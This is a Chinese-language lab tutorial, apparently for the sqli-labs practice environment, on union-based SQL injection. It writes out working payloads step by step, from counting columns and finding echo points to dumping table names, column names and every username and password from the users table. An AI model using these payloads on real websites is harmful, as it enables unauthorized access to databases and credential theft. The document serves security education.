基本流程
- 判断注入类型
- 判断字段数
- 判断回显点
- 爆库名
- 爆表名
- 爆字段名
- 查数据
为了方便找错,在源码处可以让其输出所执行的sql命令,方法如下
判断注入类型
首先输入id=1,回显正常
这里的LIMIT 0,1
的意思是输出0行后1行的内容。
然后尝试加单引号 '
回显错误
尝试加--+
或者%23
,这里二者效果一样,都是注释的方法,--+
表示--空格
在URL中空格可以由+表示,然后%23
是 # 的URL编码,也是注释。加完之后回显正常
由此可知,该注入类型为字符型,闭合方式为单引号。
判断字段数
union有一个非常严格的约束条件,因为是联合查询,必须保证字段数一致,即两个查询结果有相同的列数,因此,若要判断字段数,即可根据order by n;
的回显即可,构造如下sql命令
发现1-3都能正常回显,而4不行,即可得知字段数为3。
这里的order by n;
是根据第几列顺序排列查询结果,如图加与不加order by 3的区别
注意:此处使用order by仅仅改变查询结果的顺序,对原本数据库排列顺序没有影响
判断回显点
回显点说白了就是回显的点位
联合查询输出是严格按照顺序进行的,因此,当id=1存在时会在第0行输出第1个sql语句的查询结果,也就是如下图所示
它确实执行了我们第二条sql语句,也就是union后面的select语句,只是没有显示,因此我们可以通过以下两种方法,输出第二条sql语句的查询结果
LIMIT后的第一个参数是输出记录的初始位置,第二个参数偏移量,偏移多少,输出的条目就是多少。比如说,limit 1,3
就是输出2,3,4行的内容。此时的表为
构造以下语句,输出第二行(由于题目限制,不能两行同时输出,即limit 0,2
无用)
id=1' union select 1,2,3 limit 1,1 --+
输入不存在的-1
id=-1' union select 1,2,3 --+
注意:此处的1,2,3内容随便换
实质就是select语句
得到如下回显,即可知道,2,3处为回显点
暴库名
回显点已经知道,则可直接执行database()
和 version()
来查看数据库名和MySQL数据库版本
id=-1' union select 1,database(),version() -++
爆表名
构造以下语句
id=-1' union select 1,group_concat(table_name),version() from information_schema.tables where table_schema='security' --+
这句话的意思是,从information_schema库中tables表中table_name列中找与table_scheam列为security的元素,information_schema是mysql自带的库,记录了该数据库所有的表名和字段名
也就是找这些东西
这里的表可以先看users,如果不对再看其他的。
爆字段名
构造如下语句
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
这句话的意思是,从information_schema库中colums表中column_name列找table_schema列为security和table_name列为user的元素
即如下这些
查数据
构造如下语句
id=-1' union select 1,group_concat(username,0x5c,password),3 from security.users --+
这句话的意思是在security库的users表中找出所有username与对应的password,这里面的0x5c是\的十六进制编码。也可以是别的
完成。